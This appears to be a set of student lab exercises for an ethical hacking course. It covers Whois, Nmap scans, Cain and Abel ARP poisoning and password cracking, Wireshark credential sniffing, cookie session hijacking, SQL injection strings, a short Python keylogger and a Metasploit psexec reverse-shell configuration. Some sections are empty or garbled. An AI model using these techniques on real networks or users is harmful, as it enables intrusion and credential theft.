AIM: Use Google and Whois for Reconnaisasance.

Step1: Open the WHO.is website

Step 2: Enter the website name and hit the "Enter button".

Step 3: Show you information about www.prestashop.com

AIM: Use CryptTool to encrypt and decrypt passwords using RC4 algorithm.

Step 1:Open cryptTool.

Step 2 : Using RC4. **Encryption using RC4**

Decryption

Use Cain and Abel for cracking Windows account password using Dictionary attack and to decode wireless network passwords

Click on HASH Calcuator

Enter the password to convert into hash

Paste the value into the field you have converted e.g(MD5)

Right Click on the hash and select the dictionary attack

Then right click on the file and select (Add to List) and then select the Wordlist

Select all the options and start the dictionary attack

AIM: Using TraceRoute, ping, ifconfig, netstat Command

Step 1: Type tracert command and type www.prestashop.com press "Enter".

Step 2: Ping all the IP addresses

AIM: Perform ARP Poisoning in Windows

Open ARP Poisoning

Step 2 : Select sniffer on the top.

Step 3: Next to folder icon click on icon name start/stop sniffer. Select device and click on ok.

Step 4: Click on "+" icon on the top. Click on ok.

Step 5: Shows the Connected host.

Step 6 : Select Arp at bottom.

Step 7 : Click on "+" icon at the top.

Step 8 : Click on start/stop ARP icon on top.

Step 9 : Poisoning the source.

Step 10: Go to any website on source ip address.

Step 11: Go to password option in the cain & abel and see the visited site password.

AIM: Using Nmap scanner to perform port scanning of various forms – ACK, SYN, FIN, NULL, XMAS.

Install Nmap for windows and install it. After that open cmd and type "nmap" to check if it is installed properly. Now type the below commands.

• • ACK -sA (TCP ACK scan)

It never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.

Command: nmap -sA -T4 scanme.nmap.org

• SYN (Stealth) Scan (-sS)

SYN scan is the default and most popular scan option for good reason. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by intrusive firewalls.

Command: nmap -p22,113,139 scanme.nmap.org

• FIN Scan (-sF)

Sets just the TCP FIN bit.

Command: nmap -sF -T4 para

• NULL Scan (-sN)

Does not set any bits (TCP flag header is 0)

Command: nmap -sN -p 22 scanme.nmap.org

• XMAS Scan (-sX)

Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.

AIM:Use WireShark sniffer to capture network traffic and analyze.

Step 1: Install and open WireShark.

Step 2: Go to Capture tab and select Interface option.

Step 3: In Capture interface, Select Local Area Connection and click on start.

Step 4: The source, Destination and protocols of the packets in the LAN network are displayed.

Step 5: Open a website in a new window and enter the user id and password. Register if needed.

Step 6: Enter the credentials and then sign in.

Step 7: The wireshark tool will keep recording the packets.

Step 8: Select filter as http to make the search easier and click on apply.

Step 9: Now stop the tool to stop recording.

Step 10: Find the post methods for username and passwords.

Step 11: U will see the email- id and password that you used to log in.

AIM: Simulate persistant Cross Site Scripting attack.

AIM: Session impersonation using Firefox and Tamper Data add-on

A] Session Impersonation

STEPS

- 1. Open FireFox
- 2. Go to Tools > Addons > Extension

- 3. Search and install EditThisCookie or Cookie Import/Export or any other Cookie tool
- 4. Then Click on Cookie extension to get cookie
- 5. Open a Website and Login and then click on export cookie
- 6. Logout from the webpage once the cookie got exported

Paste the cookie in the tool which you have exported and click on green tick

And you are in

Tamper DATA add-on

- 1. Open FireFox
- 2. Go to Tools > Addons > Extension
- 3. Search and install Temper Data

Select a website for tempering data e.g(razorba)

Select any item to but Then Click to add cart Then Click on tool for tempering Data

Then Start tempering the data

Here you go

AIM: Perform SQL injection attack.

- Step 1: Open XAMPP and start apache and mysql.
- Step 2: Go to web browser and enter site localhost/phpmyadmin.
- Step 3: Create database with name sql db.
- Step 4 : Go to site localhost/sql_injection/setup.php and click on create/reset database.
- Step 5: Go to login.php and login using admin and.
- Step 6 : Opens the home page.
- Step 7: Go to security setting option in left and set security level low.
- Step 8: Click on SQL injection option in left.
- Step 9: Write "1" in text box and click on submit.
- Step 10: Write "a' or "=" in text box and click on submit.
- Step 11: Write "1=1" in text box and click on submit.
- Step 12: Write "1*" in text box and click on submit.

Aim: - Create a simple keylogger using python

Code: -

from pynput.keyboard import Key, Listener import logging

if no name it gets into an empty string

log dir = ""

This is a basic logging function

logging.basicConfig(filename=(log_dir+"key_log.txt"), level=logging.DEBUG,

format='%(asctime)s:%(message)s:')

This is from the library

def on press(key):

logging.info(str(key))

This says, listener is on
with Listener(on_press=on_press) as listener:
listener.join()

AIM: Using Metasploit to exploit

Steps:

Download and open metasploit
Use exploit to attack the host
Create the exploit and add the exploit to the victim's PC

```
msf exploit(psexec) > set RHOST 192.168.1.100

RHOST => 192.168.1.100

msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp

PAYLOAD => windows/shell/reverse_tcp

msf exploit(psexec) > set LHOST 192.168.1.5

LHOST => 192.168.1.5

msf exploit(psexec) > set LPORT 4444

LPORT => 4444

msf exploit(psexec) > set SMBUSER victim

SMBUSER => victim

msf exploit(psexec) > set SMBPASS s3cr3t

SMBPASS => s3cr3t

msf exploit(psexec) > exploit
```